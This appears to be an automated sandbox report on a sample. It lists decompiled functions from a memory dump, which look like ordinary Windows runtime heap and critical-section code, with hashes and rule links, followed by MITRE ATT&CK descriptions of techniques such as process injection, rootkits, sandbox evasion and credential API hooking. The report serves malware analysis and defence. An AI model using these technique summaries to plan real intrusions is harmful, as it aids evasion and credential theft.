Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7c5dc2a64b990176ae44e30288a33cdc2d932fca86da56e6b1f6b873c30265d
Instruction ID: b05495ab0588c4fb6a357237fd4b16e277e2c4d112117fb7de9749c5601ba7b5
Opcode Fuzzy Hash: b7c5dc2a64b990176ae44e30288a33cdc2d932fca86da56e6b1f6b873c30265d
Instruction Fuzzy Hash: 6BE09AB1209204DFD739DB52EA80F257BDD9B42621F1E829DF808CF901C632D9C0C21A

Uniqueness

Uniqueness Score: -1.00%

Function 03CFD380, Relevance: .0, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03CFD380(void* __ecx, void* __edx, intOrPtr _a4) {
				void* _t5;

				if(_a4 != 0) {
					_t5 = L03C4E8B0(__ecx, _a4, 0xfff);
					L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
					return _t5;
				}
				return 0xc000000d;
			}

0x03cfd38a
0x03cfd39b
0x03cfd3b1
0x00000000
0x03cfd3b6
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
Instruction ID: 383a572bb894eddf0c2020b54aacb5297d1d65f49c9a46f3ed705ecee02daae9
Opcode Fuzzy Hash: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
Instruction Fuzzy Hash: CFE0C236280304BFDB22EE44CC00F697B2AEB407A0F114031FF09DE690C6759D91E6C4

Uniqueness

Uniqueness Score: -1.00%

Function 03CD41E8, Relevance: .0, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E03CD41E8(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t5;
				void* _t14;

				_push(8);
				_push(0x3d208f0);
				_t5 = E03C9D08C(__ebx, __edi, __esi);
				if( *0x3d387ec == 0) {
					E03C5EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *(_t14 - 4) =  *(_t14 - 4) & 0x00000000;
					if( *0x3d387ec == 0) {
						 *0x3d387f0 = 0x3d387ec;
						 *0x3d387ec = 0x3d387ec;
						 *0x3d387e8 = 0x3d387e4;
						 *0x3d387e4 = 0x3d387e4;
					}
					 *(_t14 - 4) = 0xfffffffe;
					_t5 = L03CD4248();
				}
				return E03C9D0D1(_t5);
			}

0x03cd41e8
0x03cd41ea
0x03cd41ef
0x03cd41fb
0x03cd4206
0x03cd420b
0x03cd4216
0x03cd421d
0x03cd4222
0x03cd422c
0x03cd4231
0x03cd4231
0x03cd4236
0x03cd423d
0x03cd423d
0x03cd4247

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d614d3e6e853719139ef219cc0dace76e37edbeb5a9a02884f5400188ec10943
Instruction ID: c1c04b1aa1327ec4de1aa9ed36d6c25ff33e9989b7e377c2f1a5b0cebd526d61
Opcode Fuzzy Hash: d614d3e6e853719139ef219cc0dace76e37edbeb5a9a02884f5400188ec10943
Instruction Fuzzy Hash: 27F015FA860724CEDBA0FFA9D50870836B6F754310F0A415AF214CB388CB746A88EF01

Uniqueness

Uniqueness Score: -1.00%

Function 03C7A185, Relevance: .0, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03C7A185() {
				void* __ecx;
				intOrPtr* _t5;

				if( *0x3d367e4 >= 0xa) {
					if(_t5 < 0x3d36800 || _t5 >= 0x3d36900) {
						return L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t5);
					} else {
						goto L1;
					}
				} else {
					L1:
					return E03C60010(0x3d367e0, _t5);
				}
			}

0x03c7a190
0x03c7a1a6
0x03c7a1c2
0x00000000
0x00000000
0x00000000
0x03c7a192
0x03c7a192
0x03c7a19f
0x03c7a19f

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa911e86b4661f20a177b387f25b9abead2429b990dfffe9c63652ec62a10a09
Instruction ID: 21732627c98e38bf8b48c126705d7a204e88a32a7359772d9f1333b7cdcb752c
Opcode Fuzzy Hash: fa911e86b4661f20a177b387f25b9abead2429b990dfffe9c63652ec62a10a09
Instruction Fuzzy Hash: 85D02EBA520004BBE72DE31888D4B29A312EB84700F32088CE103CEBA0DB60CCE0E118

Uniqueness

Uniqueness Score: -1.00%

Function 03C716E0, Relevance: .0, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03C716E0(void* __edx, void* __eflags) {
				void* __ecx;
				void* _t3;

				_t3 = E03C71710(0x3d367e0);
				if(_t3 == 0) {
					_t6 =  *[fs:0x30];
					if( *((intOrPtr*)( *[fs:0x30] + 0x18)) == 0) {
						goto L1;
					} else {
						return L03C64620(_t6,  *((intOrPtr*)(_t6 + 0x18)), 0, 0x20);
					}
				} else {
					L1:
					return _t3;
				}
			}

0x03c716e8
0x03c716ef
0x03c716f3
0x03c716fe
0x00000000
0x03c71700
0x03c7170d
0x03c7170d
0x03c716f2
0x03c716f2
0x03c716f2
0x03c716f2

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e12a922bdb19f6a93883dbe2275f4915b65f6ec7fb6274c0a790899079b1fd62
Instruction ID: a9b7f5e6339d02596b57ced653c8cde873a6fc5805bf51badaa2dd43a26a918f
Opcode Fuzzy Hash: e12a922bdb19f6a93883dbe2275f4915b65f6ec7fb6274c0a790899079b1fd62
Instruction Fuzzy Hash: 22D0A9B1210200A2DA3DDB119894B15325AEBC0B92F3C006CFA0BCD8C0CFA0CEA2F048

Uniqueness

Uniqueness Score: -1.00%

Function 03CC53CA, Relevance: .0, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03CC53CA(void* __ebx) {
				intOrPtr _t7;
				void* _t13;
				void* _t14;
				intOrPtr _t15;
				void* _t16;

				_t13 = __ebx;
				if( *((char*)(_t16 - 0x65)) != 0) {
					E03C5EB70(_t14,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					_t7 =  *((intOrPtr*)(_t16 - 0x64));
					_t15 =  *((intOrPtr*)(_t16 - 0x6c));
				}
				if(_t15 != 0) {
					L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t13, _t15);
					return  *((intOrPtr*)(_t16 - 0x64));
				}
				return _t7;
			}

0x03cc53ca
0x03cc53ce
0x03cc53d9
0x03cc53de
0x03cc53e1
0x03cc53e1
0x03cc53e6
0x03cc53f3
0x00000000
0x03cc53f8
0x03cc53fb

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
Instruction ID: 68a2ceab2d668a88eb53cbcdfc0a49386772108147aa1dd2d564bcb300925a09
Opcode Fuzzy Hash: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
Instruction Fuzzy Hash: D8E08C35A107C09BCF12DF5AC690F4EB7F5FB45B00F190448A408DF620C664AE00CB00

Uniqueness

Uniqueness Score: -1.00%

Function 03C5AAB0, Relevance: .0, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03C5AAB0() {
				intOrPtr* _t4;

				_t4 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t4 != 0) {
					if( *_t4 == 0) {
						goto L1;
					} else {
						return  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x1e;
					}
				} else {
					L1:
					return 0x7ffe0030;
				}
			}

0x03c5aab6
0x03c5aabb
0x03caa442
0x00000000
0x03caa448
0x03caa454
0x03caa454
0x03c5aac1
0x03c5aac1
0x03c5aac6
0x03c5aac6

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
Instruction ID: 88cb412a222dbb4789f6ab622802960375a1345c7941dafe576f56592b413bb4
Opcode Fuzzy Hash: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
Instruction Fuzzy Hash: C9D0E939352E81DFD617CB1DC564B1573A8BB44B44FC909D0F901CF761E62CDA84CA14

Uniqueness

Uniqueness Score: -1.00%

Function 03C735A1, Relevance: .0, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03C735A1(void* __eax, void* __ebx, void* __ecx) {
				void* _t6;
				void* _t10;
				void* _t11;

				_t10 = __ecx;
				_t6 = __eax;
				if( *((intOrPtr*)(_t11 - 0x34)) >= 0 && __ebx != 0) {
					 *((intOrPtr*)(__ecx + 0x294)) =  *((intOrPtr*)(__ecx + 0x294)) + 1;
				}
				if( *((char*)(_t11 - 0x1a)) != 0) {
					return E03C5EB70(_t10,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
				}
				return _t6;
			}

0x03c735a1
0x03c735a1
0x03c735a5
0x03c735ab
0x03c735ab
0x03c735b5
0x00000000
0x03c735c1
0x03c735b7

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
Instruction ID: f470522ef4b0dc68fd0e1f1297916ec6084be9b8660e4292f62b4279a4082f04
Opcode Fuzzy Hash: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
Instruction Fuzzy Hash: FCD0A73D4011C099DB83FB10C11476C7372BB00284F5C20559C01C9451C3354B49F644

Uniqueness

Uniqueness Score: -1.00%

Function 03C4DB40, Relevance: .0, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03C4DB40() {
				signed int* _t3;
				void* _t5;

				_t3 = L03C64620(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x64);
				if(_t3 == 0) {
					return 0;
				} else {
					 *_t3 =  *_t3 | 0x00000400;
					return _t3;
				}
			}

0x03c4db4d
0x03c4db54
0x03c4db5f
0x03c4db56
0x03c4db56
0x03c4db5c
0x03c4db5c

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
Instruction ID: 561c1194266d657a29e04e00b3bb478651dfdafc728990ed7cf86f98576b5fef
Opcode Fuzzy Hash: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
Instruction Fuzzy Hash: 3DC08C30290B00AAEB26AF20CD11B4176A0BB01B05F4900A06301DE0F0DB78D901E600

Uniqueness

Uniqueness Score: -1.00%

Function 03CCA537, Relevance: .0, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03CCA537(intOrPtr _a4, intOrPtr _a8) {

				return L03C68E10( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a8, _a4);
			}

0x03cca553

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
Instruction ID: 359fee71a7dea943a2d07e9582d5485ecd7d34555d99057e87765e802e178e7f
Opcode Fuzzy Hash: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
Instruction Fuzzy Hash: A6C0123A080248BBCB12AE81CC00F0A7B2AEB94B60F018010BA484A5608632E970EA84

Uniqueness

Uniqueness Score: -1.00%

Function 03C63A1C, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03C63A1C(intOrPtr _a4) {
				void* _t5;

				return L03C64620(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
			}

0x03c63a35

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
Instruction ID: 68d47805467b8fa7f55d96e3491cfea0768c82a0f579516a36befd2a5d9e73e9
Opcode Fuzzy Hash: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
Instruction Fuzzy Hash: C0C08C32080248BBC712AF42DC00F027B29E790B60F010020B6044A5608532EC60E588

Uniqueness

Uniqueness Score: -1.00%

Function 03C736CC, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03C736CC(void* __ecx) {

				if(__ecx > 0x7fffffff) {
					return 0;
				} else {
					return L03C64620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, __ecx);
				}
			}

0x03c736d2
0x03c736e8
0x03c736d4
0x03c736e5
0x03c736e5

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
Instruction ID: e055bbecf1bec73038a0b4fbc46ec32f7abe1a887ad77f60f56a5e423d14cd0d
Opcode Fuzzy Hash: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
Instruction Fuzzy Hash: 57C02B78194480BBD7299F30CD50F157258F700A21F6C03547220CD4F0D528DC00F100

Uniqueness

Uniqueness Score: -1.00%

Function 03C576E2, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03C576E2(void* __ecx) {
				void* _t5;

				if(__ecx != 0 && ( *(__ecx + 0x20) & 0x00000040) == 0) {
					return L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, __ecx);
				}
				return _t5;
			}

0x03c576e4
0x00000000
0x03c576f8
0x03c576fd

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
Instruction ID: 6f4a303421f7fcb44284db87b704f81c11422c1993dc62b134d7459798df8b89
Opcode Fuzzy Hash: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
Instruction Fuzzy Hash: 07C08C741622805AEB2AD708CE20B203654AB08608F4C019CBE01CD4A1C76CA982C20C

Uniqueness

Uniqueness Score: -1.00%

Function 03C4AD30, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03C4AD30(intOrPtr _a4) {

				return L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
			}

0x03c4ad49

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
Instruction ID: df68bf2af53fcedb07231ccab34d241a09396f85c6ebe5c3e1d650cc74fa4d64
Opcode Fuzzy Hash: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
Instruction Fuzzy Hash: 0DC08C32080248BBC712AA45CD40F017B29E790B60F010020B6048A6618936E860E588

Uniqueness

Uniqueness Score: -1.00%

Function 03C67D50, Relevance: .0, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03C67D50() {
				intOrPtr* _t3;

				_t3 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t3 != 0) {
					return  *_t3;
				} else {
					return _t3;
				}
			}

0x03c67d56
0x03c67d5b
0x03c67d60
0x03c67d5d
0x03c67d5d
0x03c67d5d

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
Instruction ID: 0aa9e1504065cff751565b6aad85686e8d6d491720522881dbc78357dc3d6aef
Opcode Fuzzy Hash: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
Instruction Fuzzy Hash: 03B092343019408FDE16DF18C080B1533E8BB44A44B8808D0E400CBA21D229E9008900

Uniqueness

Uniqueness Score: -1.00%

Function 03C72ACB, Relevance: .0, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03C72ACB() {
				void* _t5;

				return E03C5EB70(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
			}

0x03c72adc

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
Instruction ID: f1e8a6406ff074bc7444b5925551373d4022dc5b57dfe9da5fb1af0a19966c87
Opcode Fuzzy Hash: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
Instruction Fuzzy Hash: 49B01232C11540CFCF02EF50C610B5D7331FB00750F064490A401AB930C628AD01DB44

Uniqueness

Uniqueness Score: -1.00%

Function 03CDFDDA, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E03CDFDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = E03C8CE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				E03CD5720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return E03CD5720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}

0x03cdfdda
0x03cdfde2
0x03cdfde5
0x03cdfdec
0x03cdfdfa
0x03cdfdff
0x03cdfe0a
0x03cdfe0f
0x03cdfe17
0x03cdfe1e
0x03cdfe19
0x03cdfe19
0x03cdfe19
0x03cdfe20
0x03cdfe21
0x03cdfe22
0x03cdfe25
0x03cdfe40

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 03CDFDFA

Strings

RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 03CDFE2B
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 03CDFE01

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 885266447-3903918235
Opcode ID: e82d926e344fbf167adb7a8825848fcc2ed3b1d92ae42b87d78ebb303fb0f9b8
Instruction ID: 458831e8e819478ad384a516cf0162fff89a3b62aa5dea41683457474ff11c42
Opcode Fuzzy Hash: e82d926e344fbf167adb7a8825848fcc2ed3b1d92ae42b87d78ebb303fb0f9b8
Instruction Fuzzy Hash: 12F0F636200201BFEA209A45DC02F23BB5AEB45730F254315F728DA5D1DA62F92096F0

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	BIOS, MBR, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

